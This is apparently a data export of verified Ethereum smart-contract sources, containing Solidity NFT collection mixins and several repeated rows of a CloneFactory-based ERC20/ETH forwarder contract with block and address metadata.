royaltiesInBasisPoints) {\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /\n @inheritdoc IGetRoyalties\n /\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /\n @notice The address to pay the creator proceeds/royalties for the collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creatorPaymentAddress The address to which royalties should be paid.\n /\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view virtual returns (address payable creatorPaymentAddress);\n\n /\n @inheritdoc IRoyaltyInfo\n /\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = getTokenCreatorPaymentAddress(tokenId);\n unchecked {\n royaltyAmount = salePrice / ROYALTY_RATIO;\n }\n }\n\n /\n @inheritdoc IERC165Upgradeable\n * @dev Checks the supported royalty interfaces.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = (interfaceId == type(IRoyaltyInfo).interfaceId \|\|\n interfaceId == type(ITokenCreator).interfaceId \|\|\n interfaceId == type(IGetRoyalties).interfaceId \|\|\n interfaceId == type(IGetFees).interfaceId \|\|\n super.supportsInterface(interfaceId));\n }\n}\n" }, "contracts/mixins/collections/NFTCollectionType.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\nimport \"@openzeppelin/contracts/utils/ShortStrings.sol\";\n\nimport \"../../interfaces/internal/INFTCollectionType.sol\";\n\n/\n @title A mixin to add the NFTCollectionType interface to a contract.\n * @author HardlyDifficult & reggieag\n /\nabstract contract NFTCollectionType is INFTCollectionType, ERC165Upgradeable {\n using ShortStrings for string;\n using ShortStrings for ShortString;\n\n ShortString private immutable _collectionTypeName;\n\n constructor(string memory collectionTypeName) {\n _collectionTypeName = collectionTypeName.toShortString();\n }\n\n /\n @notice Returns a name of the type of collection this contract represents.\n * @return collectionType The collection type.\n /\n function getNFTCollectionType() external view returns (string memory collectionType) {\n collectionType = _collectionTypeName.toString();\n }\n\n /\n @inheritdoc IERC165Upgradeable\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = interfaceId == type(INFTCollectionType).interfaceId \|\| super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/mixins/collections/SequentialMintCollection.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nerror SequentialMintCollection_Caller_Is_Not_Owner(address owner);\nerror SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(uint256 totalSupply);\n\n/\n @title Extends the OZ ERC721 implementation for collections which mint sequential token IDs.\n * @author batu-inal & HardlyDifficult\n /\nabstract contract SequentialMintCollection is ITokenCreator, ERC721BurnableUpgradeable {\n /*** Slot 0 (after inheritance) **/\n /\n * @notice The creator/owner of this NFT collection.\n * @dev This is the default royalty recipient if a different `paymentAddress` was not provided.\n * @return The collection's creator/owner address.\n /\n address payable public owner;\n\n /\n @notice The tokenId of the most recently created NFT.\n * @dev Minting starts at tokenId 1. Each mint will use this value + 1.\n * @return The most recently minted tokenId, or 0 if no NFTs have been minted yet.\n /\n uint32 public latestTokenId;\n\n /\n @notice Tracks how many tokens have been burned.\n * @dev This number is used to calculate the total supply efficiently.\n /\n uint32 private burnCounter;\n\n // 32-bits free space\n\n /*** End of storage **/\n\n /\n * @notice Emitted when this collection is self destructed by the creator/owner/admin.\n * @param admin The account which requested this contract be self destructed.\n /\n event SelfDestruct(address indexed admin);\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert SequentialMintCollection_Caller_Is_Not_Owner(owner);\n }\n _;\n }\n\n function _initializeSequentialMintCollection(address payable _creator) internal {\n owner = _creator;\n }\n\n /\n @notice Allows the collection owner to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n /\n function _selfDestruct() internal {\n if (totalSupply() != 0) {\n revert SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(totalSupply());\n }\n\n emit SelfDestruct(msg.sender);\n selfdestruct(payable(msg.sender));\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n unchecked {\n // Number of burned tokens cannot exceed latestTokenId which is the same size.\n ++burnCounter;\n }\n super._burn(tokenId);\n }\n\n /\n @inheritdoc ITokenCreator\n * @dev The tokenId param is ignored since all NFTs return the same value.\n /\n function tokenCreator(uint256 / tokenId /) external view returns (address payable creator) {\n creator = owner;\n }\n\n /\n @notice Returns the total amount of tokens stored by the contract.\n * @dev From the ERC-721 enumerable standard.\n * @return supply The total number of NFTs tracked by this contract.\n /\n function totalSupply() public view returns (uint256 supply) {\n unchecked {\n // Number of tokens minted is always >= burned tokens.\n supply = latestTokenId - burnCounter;\n }\n }\n}\n" }, "contracts/mixins/collections/TokenLimitedCollection.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"./SequentialMintCollection.sol\";\n\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Increase(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(uint256 currentMintedCount);\nerror TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n\n/\n @title Defines an upper limit on the number of tokens which may be minted by this collection.\n * @author HardlyDifficult\n /\nabstract contract TokenLimitedCollection is SequentialMintCollection {\n /\n @notice The max tokenId which can be minted.\n * @dev This max may be less than the final `totalSupply` if 1 or more tokens were burned.\n * @return The max tokenId which can be minted.\n /\n uint32 public maxTokenId;\n\n /\n @notice Emitted when the max tokenId supported by this collection is updated.\n * @param maxTokenId The new max tokenId. All NFTs in this collection will have a tokenId less than\n * or equal to this value.\n /\n event MaxTokenIdUpdated(uint256 indexed maxTokenId);\n\n function _initializeTokenLimitedCollection(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n // When 0 is desired, the collection may choose to simply not call this initializer.\n revert TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n }\n\n maxTokenId = _maxTokenId;\n }\n\n /\n @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n /\n function _updateMaxTokenId(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(maxTokenId);\n }\n if (maxTokenId != 0 && _maxTokenId >= maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Increase(maxTokenId);\n }\n if (latestTokenId > _maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(latestTokenId);\n }\n\n maxTokenId = _maxTokenId;\n emit MaxTokenIdUpdated(_maxTokenId);\n }\n}\n" }, "contracts/mixins/shared/Constants.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/// Constant values shared across mixins.\n\n/\n @dev 100% in basis points.\n /\nuint256 constant BASIS_POINTS = 10_000;\n\n/\n @dev The default admin role defined by OZ ACL modules.\n /\nbytes32 constant DEFAULT_ADMIN_ROLE = 0x00;\n\n////////////////////////////////////////////////////////////////\n// Royalties & Take Rates\n////////////////////////////////////////////////////////////////\n\n/\n @dev The max take rate an exhibition can have.\n /\nuint256 constant MAX_EXHIBITION_TAKE_RATE = 5_000;\n\n/\n @dev Cap the number of royalty recipients.\n * A cap is required to ensure gas costs are not too high when a sale is settled.\n /\nuint256 constant MAX_ROYALTY_RECIPIENTS = 5;\n\n/\n @dev Default royalty cut paid out on secondary sales.\n * Set to 10% of the secondary sale.\n /\nuint96 constant ROYALTY_IN_BASIS_POINTS = 1_000;\n\n/\n @dev Reward paid to referrers when a sale is made.\n * Set to 1% of the sale amount. This 1% is deducted from the protocol fee.\n /\nuint96 constant BUY_REFERRER_IN_BASIS_POINTS = 100;\n\n/\n @dev 10%, expressed as a denominator for more efficient calculations.\n /\nuint256 constant ROYALTY_RATIO = BASIS_POINTS / ROYALTY_IN_BASIS_POINTS;\n\n/\n @dev 1%, expressed as a denominator for more efficient calculations.\n /\nuint256 constant BUY_REFERRER_RATIO = BASIS_POINTS / BUY_REFERRER_IN_BASIS_POINTS;\n\n////////////////////////////////////////////////////////////////\n// Gas Limits\n////////////////////////////////////////////////////////////////\n\n/\n @dev The gas limit used when making external read-only calls.\n * This helps to ensure that external calls does not prevent the market from executing.\n /\nuint256 constant READ_ONLY_GAS_LIMIT = 40_000;\n\n/\n @dev The gas limit to send ETH to multiple recipients, enough for a 5-way split.\n /\nuint256 constant SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS = 210_000;\n\n/\n @dev The gas limit to send ETH to a single recipient, enough for a contract with a simple receiver.\n /\nuint256 constant SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT = 20_000;\n\n////////////////////////////////////////////////////////////////\n// Collection Type Names\n////////////////////////////////////////////////////////////////\n\n/\n @dev The NFT collection type.\n /\nstring constant NFT_COLLECTION_TYPE = \"NFT Collection\";\n\n/\n @dev The NFT drop collection type.\n /\nstring constant NFT_DROP_COLLECTION_TYPE = \"NFT Drop Collection\";\n\n/\n @dev The NFT timed edition collection type.\n /\nstring constant NFT_TIMED_EDITION_COLLECTION_TYPE = \"NFT Timed Edition Collection\";\n\n/\n @dev The NFT limited edition collection type.\n /\nstring constant NFT_LIMITED_EDITION_COLLECTION_TYPE = \"NFT Limited Edition Collection\";\n\n////////////////////////////////////////////////////////////////\n// Business Logic\n////////////////////////////////////////////////////////////////\n\n/\n @dev Limits scheduled start/end times to be less than 2 years in the future.\n /\nuint256 constant MAX_SCHEDULED_TIME_IN_THE_FUTURE = 365 days 2;\n\n/*\n @dev The minimum increase of 10% required when making an offer or placing a bid.\n /\nuint256 constant MIN_PERCENT_INCREMENT_DENOMINATOR = BASIS_POINTS / 1_000;\n\n/\n @dev Protocol fee for edition mints in basis points.\n /\nuint256 constant EDITION_PROTOCOL_FEE_IN_BASIS_POINTS = 500;\n\n/\n @dev Hash of the edition type names.\n * This is precalculated in order to save gas on use.\n * `keccak256(abi.encodePacked(NFT_TIMED_EDITION_COLLECTION_TYPE))`\n /\nbytes32 constant timedEditionTypeHash = 0xee2afa3f960e108aca17013728aafa363a0f4485661d9b6f41c6b4ddb55008ee;\n\nbytes32 constant limitedEditionTypeHash = 0x7df1f68d01ab1a6ee0448a4c3fbda832177331ff72c471b12b0051c96742eef5;\n" }, "contracts/mixins/shared/ContractFactory.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nerror ContractFactory_Only_Callable_By_Factory_Contract(address contractFactory);\nerror ContractFactory_Factory_Is_Not_A_Contract();\n\n/\n @title Stores a reference to the factory which is used to create contract proxies.\n * @author batu-inal & HardlyDifficult\n /\nabstract contract ContractFactory {\n using AddressUpgradeable for address;\n\n /\n @notice The address of the factory which was used to create this contract.\n * @return The factory contract address.\n /\n address public immutable contractFactory;\n\n modifier onlyContractFactory() {\n if (msg.sender != contractFactory) {\n revert ContractFactory_Only_Callable_By_Factory_Contract(contractFactory);\n }\n _;\n }\n\n /\n @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create these contracts.\n /\n constructor(address _contractFactory) {\n if (!_contractFactory.isContract()) {\n revert ContractFactory_Factory_Is_Not_A_Contract();\n }\n contractFactory = _contractFactory;\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 1337000 }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} } }}
1	19,499,662	75b22492cc7c619a60706b5ab3ac73863da06119772bc308169c8e76fe1abd7f	2db85f7ccc987d112a135b3cc402a725a39213ddca266b444feaac04314d7439	00bdb5699745f5b860228c8f939abf1b9ae374ed	ffa397285ce46fb78c588a9e993286aac68c37cd	d2b491110be2ac0cf242c6503aefa1ef6489ffa3	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,665	3326833e7f61de36f38df7d0b909f8641c67a073d877e61bed363b6db0bec5ce	ad07e1edeb223f473e2e2879c4a3acef72f27298e1ebccd43328a92a825c8eb1	d2c82f2e5fa236e114a81173e375a73664610998	ffa397285ce46fb78c588a9e993286aac68c37cd	debfa429cf38d9dbf5f3889c76cdc59622d8be51	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,669	19c6ff8d310ccbcaabe3542c7f764b76bf8bb5040aecb7bf37dda64cfda0db2a	ec1a74d31610584ff883bb8b5eed7b940c0a08d8d18d7184d610f46be2394cdf	00bdb5699745f5b860228c8f939abf1b9ae374ed	ffa397285ce46fb78c588a9e993286aac68c37cd	4788b6b12f57dfbf71ae7ae41d39f17df5adb966	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes 